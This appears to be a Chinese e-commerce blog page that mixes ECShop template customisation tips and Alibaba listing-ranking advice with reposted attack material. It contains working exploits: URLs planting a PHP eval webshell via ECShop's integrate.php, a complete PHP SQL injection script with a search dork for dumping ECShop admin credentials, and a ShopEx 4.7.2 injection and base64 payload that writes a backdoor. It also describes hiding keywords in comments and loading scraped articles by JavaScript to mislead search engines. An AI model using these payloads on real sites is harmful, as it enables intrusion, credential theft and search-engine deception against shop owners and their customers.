分享电子商务心得

首先,在库目录里增加一个文件:Newcomments.lbi 将以下内容加入此文件:

<?php
if(!function_exists(”get_comments”)){
function get_comments($num)
{
   $sql = ‘Select * FROM ecs_comment ‘.
            ‘ Where status = 1 AND parent_id = 0 and comment_type=0 ‘.
            ‘ orDER BY add_time DESC’;
  if ($num > 0)
  {
   $sql .= ‘ LIMIT ‘ . $num;
  }
  //echo $sql;
       
  $res = $GLOBALS['db']->getAll($sql);
  $comments = array();
  foreach ($res AS $idx => $row)
  {

   $comments[$idx]['user_name']       = $row['user_name'];
   $comments[$idx]['content']       = $row['content'];
            $comments[$idx]['id_value']       = $row['id_value'];

  }
  return $comments;
}
}

?>

<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″>

       <!–数据调用-最新评论开始 –>      
    <?php
        $this->assign(’my_comments’,get_comments(5)); // 5代表会条数据
    ?>        
此处是循环输出评论内容:
<!–{foreach from=$my_comments item=comments}–>
      <li><a href=”goods.php?id={$comments.id_value}” target=”_blank”>{$comments.content|truncate:10:”"}</a></li>
      <!–{/foreach}–>

然后以上内容只是功能显示,在相应处加入你需要的样式即可。
最后,首页调用此库文件就可以了.

<!– #BeginLibraryItem “/library/Newcomments.lbi” –>  <!– #EndLibraryItem –>

调用某个分类下的商品,方法有很多种的,不过都需要先在后台设置模板那里设置显示和显示条数,
然后在需要调用的模板里放上相应的代码即可:
1、比如:
<?php $this->assign(’cat_goods’,$this->_var['cat_goods_15']); ?><?php $this->assign(’goods_cat’,$this->_var['goods_cat_15']); ?><?php echo $this->fetch(’library/cat_goods.lbi’); ?>

上面的15就是某个要调用的栏目ID值.把它改成其他你要调用的分类ID值即可.

2、这是第二种:
          <!–{foreach from=$cat_goods_14 item=goods}–>
          <div class=”xgoods”>
            <div class=”img”><a href=”{$goods.url}” target=”_blank”><img src=”{$goods.thumb}” alt=”{$goods.name|escape:html}” width=”67″ height=”56″ border=”0″ class=”imgb”/></a></div>
            <div class=”name”><a href=”{$goods.url}” target=”_blank”>{$goods.short_name|escape:html|truncate:10}</a><br />
              <span class=”fontr fontb fontbig”>{$goods.shop_price}</span></div>
          </div>
          <!–{/foreach}–>

说明:上面的$cat_goods_14 ,其中14就是你想要调用的栏目ID值,把它改成你要调用的栏目ID值即可。

3、第三种:先在要调用的模板里设置区域,比如:
<!– TemplateBeginEditable name=”某分类区域” –><!– TemplateEndEditable –>
然后在后台设置模板那里增加分类显示时选此区域即可。

 

一、需要修改category.php。

修改get_cat_info,增加cat_name,修改后如下

function get_cat_info($cat_id)
{
    return $GLOBALS['db']->getRow(’SELECT keywords, cat_desc, style, grade, filter_attr, parent_id ,cat_name FROM ‘ . $GLOBALS['ecs']->table(’category’) .
        " WHERE cat_id = ‘$cat_id’");
}

目的是通过get_cat_info 函数从数据库中读出目录名称

在80行附近。

if (!empty($cat))
{
    $smarty->assign(’keywords’,    htmlspecialchars($cat['keywords']));
    $smarty->assign(’description’, htmlspecialchars($cat['cat_desc']));
    $smarty->assign(’cat_style’,   htmlspecialchars($cat['style']));
    $smarty->assign(’cat_name’,   htmlspecialchars($cat['cat_name']));

}

 

把目录名称分配到模板。

二、在模板文件category.dwt里面用{$cat_name}标签就可以调用了。

阿里巴巴英文站上的排序规则与中文站有比较大的不同,所涉及的纬度比较多,

总结起来主要涉及以下几个方面:

1、做到产品的四重匹配。即相同的关键词要出现在:产品名称、产品关键词、产品简要描述、

详细描述。同一类型的产品,可以多发布几款,每款可以针对不同的关键词来做匹配。

另外,产品年属性填写尽量填写完整,行业选择推荐的行业,图片尽量做的美观吸引人。

同时标题尽量用最合适的品名来表达,不要重复填写。

2、橱窗产品在排名上具有优势。建议您将重点产品设置为橱窗产品并定期更换

3. 产品及供应信息的更新

当您以上三个方面都做好的时候,您排在前面的机会肯定会大大增加。

排名靠前的方法有以下几种情况:

1.发布一口价信息,会比普通信息排名靠前。

2.重发信息会使用商业信息排名靠前.诚信通会员可以每天重发信息,普通会员只能重发过期信息。

3.诚信通会员参加阿里竞价,并成功竞到前三,在推广期内会固定排名在前三。

一.提高活跃度使信息靠前的方法:

1.贸易通在线时间要长,多与联系人洽谈,

2.多使用贸易通上的各种功能

3.多使用客户管理系统内的各种功能

4.使用移动贸易通,保持贸易通离线后手机在线,多发短信

二 商业信息排名规则

如果您是在贸易通上的搜索框中进行搜索的,那是按照您贸易通活跃度来排序的,如果活跃度不高,就会

排的比较后面。如果您是在阿里网站首页的搜索框中输入关键字进行搜索的。

网站上信息的排序与您发布的信息的标题中的产品名称、发布信息时设置的关键字(即产品名称)以及搜索者搜索时使用的关键字、信息发布的时间以及是否是可使用支付宝交易的一口价有关。目前网站上的信息排序优先考虑信息标题中的产品名称,由其是信息标题末尾的产品核心名称,在搜索的关键字精确匹配的情况下优先考虑可使用支付宝进行交易的一口价信息。

在同一等级下,按以下商业规则排序网站上的商业信息排序如下:

第一轮对于三天之内诚信通会员发布的信息每家抽取1条。按照支付支付宝的一口价,不支持支付宝的一口价,非一口价进行排序.每个会员的信息只抽取一次。

第二轮对剩下的诚信通会员发布的信息再每家抽取一条。抽取规则和第一轮一样。

第三轮是对普通会员发布的信息按时间先后每家抽取一条。最后一轮是对剩下的所有的信息按时间的倒序排列。同时,在网上做生意,信息的价格排序与您在网上与商友洽谈的活跃度,以及您的诚信通指数都可作为可选的排序条件。

有关于发布的产品信息如何靠前,做到以下几点,你发布的信息,准能排名靠前。

阿里提示你每天(24小时重发一次)重发信息,让你的产品信息排名靠前,我相信大多数会员做到了。你是什么时间重发的?重发前后你进行搜索对比了吗?所以说简单的重发信息也是有讲究的,我的做法是。

1、我原来是每天7点—8点重发信息,因为在9点钟左右,多数人都上班了,这个时间把你的产品信息重发效果比较好。

2、我现在改为每天7—8点重发一半的信息量,保证工作时间的信息靠前;另一半的信息在19—20点重发,这样可以保证夜间的信息靠前。

3、如果时间允许的,也可以把你的信息(一口价信息,同时支持使用支付宝)平均分配,在几个不同的时间(每30分钟重发一次)段重发,效果会更好。

大家可以试一试,排除其他因素,每天重发一次、两次……搜索结果是不一样的。

关键词处理技巧

另外你如果是诚信通会员,可以参加关键字竞价,你的信息会比其他会员的信息更要靠前。

还有我们都是网商,所谓网商,就是利用网络买卖商品,既然是在网络上经营企业,那就离不开产品关键字,所以说网商的生命线是关键字,也可以这么说,企业的生命线就是关键字。有的朋友认为我说的太严重了,没这么重要吧,你错了,那怎么怎么经营好产品关键字?

1、首先选好自己的产品关键字。比如我经营的主要产品是植保机械和园林机械机器配件,在国内外就有很多种不同的名称。再根据人们的搜索习惯,确定你的关键字,在国内,我的产品关键字是,机动喷雾器割灌机草坪机小型汽油机等。

2、用好自己的产品关键字。在发布信息图片的时候,要分别用上这些关键字,做为产品的名称发布,你发布的产品图片越多,你的关键字覆盖面就越宽,客户就越容易找到你。

3、重点关注你的第一关键字。我的第一关键字就是机动喷雾器割灌机草坪机小型汽油机,我每天自己搜索不少于10次,重点查看信息排名情况,如果信息排名靠后,及时修改你发布的信息种类(一口价、标价、普通)。如果你认真去做了,我保证你的产品信息排名前六。大家不信,你可以随时搜索我的关键字,排名准在前六。

4、及时增补你的关键字。同行既是你的竞争对手,又是你的好老师,要经常去老师的网站上学习,同时还要询问你的客户,是如何找到你的?我的关键字有些就是学来的,客户提供的。总之,要做到人无我有,人有我精,就OK了。

第一种方法就是替换。

采集软件一般都带有替换功能,很多人都会替换,比如把对方的网站名字替换成自己网站的名字等。象火车头采集器有一个3000词的替换列表,不过替换过以后,文章的可读性就下降了很多。另外,你有没有想到对标点符号进行替换呢?比如你网站叫xxx,那么我们可以把句号(.)替换成”<!-xxx网站专业提供xxxxx->”这样不影响阅读的情况下当然很多人会问这个标记”<!–>”里面的内容不是注释内容吗?是的,这个内容浏览者看不到,但是蜘蛛”看”得到。不信你随便找一个关键值检察工具,做一张没有内容的网页,里面全是注释<!–>标记,然后把关键值写到注释里面,你看看能不能检察出关键字来。另外还可以将</p>标记进行替换,应为一般段落结尾都是</p>、</div>、<br>等,你可以将这些标记替换成”xxxxxxx</p>”等的形势,这个xxxxxx可以是代码,也可以是文字,这种方式也适用与给文章打上防采集标记,就像站长站一样。

第二种方法就是段落换位。

前面讲到一般文章的段落都是<p>和</p>标签,那么你就可以写一段代码,将第一个<p>和</p>标签里面的内容与第二个或第三个进行替换,详细代码我这里就不写了。这种方法一样可以不断延伸,我就不写太明了,写太明会禁锢你的想像力。

第三种方法就是在采集来的文章的标题后面加上你网站的名称,这样相当于改变了文章的标题。这个也很简单,直接在你模版里面标题的位置加上你网站名称的调用标签即可。

第四种方法就使用JS调采集的内容。

搜索引擎是不执行JS的,所以也就无法知道你是原创或是采集。然后我们可以利用上下文或者推荐列表降低页面相似度。

以上方法已经测试有效,具体是那些网站就不列举了。

ECSHOP是一款开源免费的网上商店系统。由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能。(官方介绍)

ECSHOP前段时间出了个注射漏洞:http://bbs.wolvez.org/topic/67/,拿后台权限应该没有问题,但文章没有提及如何在后台拿shell。昨天可乐在t00ls.Net上发帖问如何拿shell,无聊中我baidu、 google了下,网上貌似没有拿shell的办法。好久没读代码了,无聊中下了ECSHOP最新版(V2.6.2)的源码过来读,很庆幸,给我找到一个可以直接写shell的文件。与注射一样,同样是个变化未初始化导致的问题,于是,同样只能用在register_globals为on的环境下。
integrate.php第740行起:

if ($_REQUEST['act'] == ’sync’)
{
$size = 100;

……

$tasks = array();
if ($task_del > 0)
{
$tasks[] = array(’task_name’=>sprintf($_LANG['task_del'], $task_del),’task_status’=>’<span id=”task_del”>’ . $_LANG['task_uncomplete'] . ‘<span>’);
$sql = “SELECT user_name FROM ” . $ecs->table(’users’) . ” WHERE flag = 2″;
$del_list = $db->getCol($sql);//$del_list未初始化,转载请注明来自:www.oldjun.com
}

if ($task_rename > 0)
{
$tasks[] = array(’task_name’=>sprintf($_LANG['task_rename'], $task_rename),’task_status’=>’<span id=”task_rename”>’ . $_LANG['task_uncomplete'] . ‘</span>’);
$sql = “SELECT user_name, alias FROM ” . $ecs->table(’users’) . ” WHERE flag = 3″;
$rename_list = $db->getAll($sql);//$rename_list未初始化,转载请注明来自:www.oldjun.com
}

if ($task_ignore >0)
{
$sql = “SELECT user_name FROM ” . $ecs->table(’users’) . ” WHERE flag = 4″;
$ignore_list = $db->getCol($sql);//$ignore_list未初始化,转载请注明来自:www.oldjun.com
}

……

/* 保存修改日志 */
$fp = @fopen(ROOT_PATH . DATA_DIR . ‘/integrate_’ . $_SESSION['code'] . ‘_log.php’, ‘wb’);
$log = ”;
if (isset($del_list))
{
$log .= ‘$del_list=’ . var_export($del_list,true) . ‘;’;
}
if (isset($rename_list))
{
$log .= ‘$rename_list=’ . var_export($rename_list, true) . ‘;’;
}
if (isset($ignore_list))
{
$log .= ‘$ignore_list=’ . var_export($ignore_list, true) . ‘;’;
}
//未做过滤,直接写log,转载请注明来自:www.oldjun.com
fwrite($fp, $log);
fclose($fp);

$smarty->assign(’tasks’, $tasks);
$smarty->assign(’ur_here’,$_LANG['user_sync']);
$smarty->assign(’size’, $size);
$smarty->display(’integrates_sync.htm’);
}$del_list、$rename_list、$ignore_list均没有初始化,于是,均可以直接写shell。

利用方法:

http://www.oldjun.com/admin/integrate.php?act=sync&del_list=<?php%20eval($_POST[cmd])?>
http://www.oldjun.com/admin/integrate.php?act=sync&rename_list=<?php%20eval($_POST[cmd])?>
http://www.oldjun.com/admin/integrate.php?act=sync&ignore_list=<?php%20eval($_POST[cmd])?>三个链接,随便输入一个就可以了,生成http://www.oldjun.com/data/integrate__log.php,就是一句话小马了~
本篇文章来源于 黑客基地-全球最大的中文黑客站 原文链接:http://www.hackbase.com/tech/2009-04-09/52118.html

影响2.5.x和2.6.x,其他版本未测试

goods_script.php44行:
    if (empty($_GET['type']))
    {
        …
    }
    elseif ($_GET['type'] == ‘collection’)
    {
        …
    }
    $sql .= ” LIMIT ” . (!empty($_GET['goods_num']) ? intval($_GET['goods_num']) : 10);
    $res = $db->query($sql);$sql没有初始化,很明显的一个漏洞:)

EXP:

#!/usr/bin/php
<?php

print_r(’
+—————————————————————————+
ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://bbs.wolvez.org
dork: “Powered by ECShop”
+—————————————————————————+
‘);
/**
 * works with register_globals = On
 */
if ($argc < 3) {
    print_r(’
+—————————————————————————+
Usage: php ‘.$argv[0].’ host path
host:      target server (ip/hostname)
path:      path to ecshop
Example:
php ‘.$argv[0].’ localhost /ecshop/
+—————————————————————————+
‘);
    exit;
}

error_reporting(7);
ini_set(’max_execution_time’, 0);

$host = $argv[1];
$path = $argv[2];

$resp = send();
preg_match(’#href=”([\S]+):([a-z0-9]{32})”#’, $resp, $hash);

if ($hash)
    exit(”Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n”);
else
    exit(”Exploit Failed!\n”);

function send()
{
    global $host, $path;

    $cmd = ’sql=SELECT CONCAT(user_name,0×3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x’.bin2hex(’all’).’ LIMIT 1#’;

    $data = “POST “.$path.”goods_script.php?type=”.time().”  HTTP/1.1\r\n”;
    $data .= “Accept: */*\r\n”;
    $data .= “Accept-Language: zh-cn\r\n”;
    $data .= “Content-Type: application/x-www-form-urlencoded\r\n”;
    $data .= “User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n”;
    $data .= “Host: $host\r\n”;
    $data .= “Content-Length: “.strlen($cmd).”\r\n”;
    $data .= “Connection: Close\r\n\r\n”;
    $data .= $cmd;

    $fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = ”;

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

?>
本篇文章来源于 黑客基地-全球最大的中文黑客站 原文链接:http://www.hackbase.com/tech/2009-03-28/51877.html

shopex4.7.2漏洞 转帖

2009-04-28 22:12  |  分类:电子商务程序优化

我是无名,这次写一个shopex4.7.2漏洞,

已经通知了官方,今天就发出来,

首先syssite/shopadmin/order_service.php后台这个文件没有验证用户身份,

重要的是$v_id参数没有过滤

以下是引用片段:
syssite/shopadmin/order_service.php?m_id=1&key=986078fbe1474d61464d08535f1002a8&&v_id=1+and+1=2+union+select+concat(username,0×20,userpass),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4+from+sdb_mall_offer_operater%23

直接获取管理员账号密码md5自己解,字段数不对用order by 猜,有的站只能显示出来前14位,就用left(password,14) mid(password,15,4) right(password,14) 合起来就是完整的32位密码了

如果表名改了,mysql 5.0以上版本自己爆,相关内容不再叙述

登陆后台,接下来讲shell获取部分,(普通管理员一样利用)

分析根目录下htmlcache.php

分析代码的朋友注意了,

以下是引用片段: $url = base64_decode( $_GET[’url’] ); $filename = base64_decode( $_GET[’filename’] ); $signcode = $_GET[’signcode’]; $verifycode = md5( $url.$filename."1e236443e5a30b09910e0d48c994b8e6" ); if ( $_cvar[’seoCacheTime’] == "0" ) { exit( ); }

变量 url  filename 提交的时候用base64 加密,

下面几句

以下是引用片段:
if ( $_cvar[’seoCacheTime’] == ”0″ )
{
exit( );
}
if ( substr( $filename, 0, 3 ) == ”../” )
{
exit( );
}
if ( $verifycode != $signcode )
{
exit( );
}

$filename 不能有 ../

$verifycode 要等于$signcode

$_cvar['seoCacheTime'] 在syssite\home\shop\1\shop.cache.php有定义,默认是0

前面几个很容易就绕过去了,$_cvar['seoCacheTime'] 我在后台里一直没有找到在哪里设置,

分析代码发现,进入后台,直接在url后面输入syssite/shopadmin/admin_seo_act.php?act=savecachetime&seocachetime=60

设置seocachetime为60

好了,条件满足,开始获取shell

base64分别加密
http://你的url/test.txt 为$url变量,()
123.php         为$filename变量
$signcode是url+filename+1e236443e5a30b09910e0d48c994b8e6 的32位md5值

其实url完全不用获取test.txt内容的,有时候会获取不成功,
url直接写成http://www.baidu.com/<?php eval($_POST[cmd]);?> base64加密就行了

加密结果

url   aHR0cDovL3d3dy5iYWlkdS5jb20vPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=
filename MTIzLnBocA==
signcode 186350a50934cb17b9bc47f5e067adbe

最后提交

以下是引用片段:
htmlcache.php?url=aHR0cDovL3d3dy5iYWlkdS5jb20vPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=&filename=MTIzLnBocA==&signcode=186350a50934cb17b9bc47f5e067adbe

直接在根目录生成123.php内容为一句话后门,密码cmd

这里只是技术讨论,任何利用本文章做破坏的,本人概不负责

PHP Link Directory是目前我找到的最好的一套网址站程序了。

PHP Link Directory有几个非常好的特点:

1、内容更新非常方便,可以直接从DMOZ采集,也可以从Google搜索采集,这样的话就非常轻松了。

2、全部链接都是可以自定义的,每个页面的title和Meta标签都可以自己定义,支持全站伪静态,搜索引擎优化的很到位。

3、PHP Link Directory不仅是一个网址导航站,而且还是一个文章站,支持文章的投稿,发布。是不是很不错。

4、多国语言支持,简体中文,没有问题,也支持。

5、如果你想做一个收费的网址站,后台就可以设置。

还有其他的好多功能,就不一一赘述了,自己下载来看吧。

最近我发现我制作的两个模版,仿Dhgate模版和仿Overstock的模版在列表页的最后一个商品的位置上经常会多出一个空商品,在换成默认模版以后空商品消失。我在列表页模版的商品图片和商品属性部分用

 <!– {if $goods.goods_id} –>
商品图片

商品属性

 <!– {/if} –>

代码框起来,问题解决。

Pages: 1 2 Next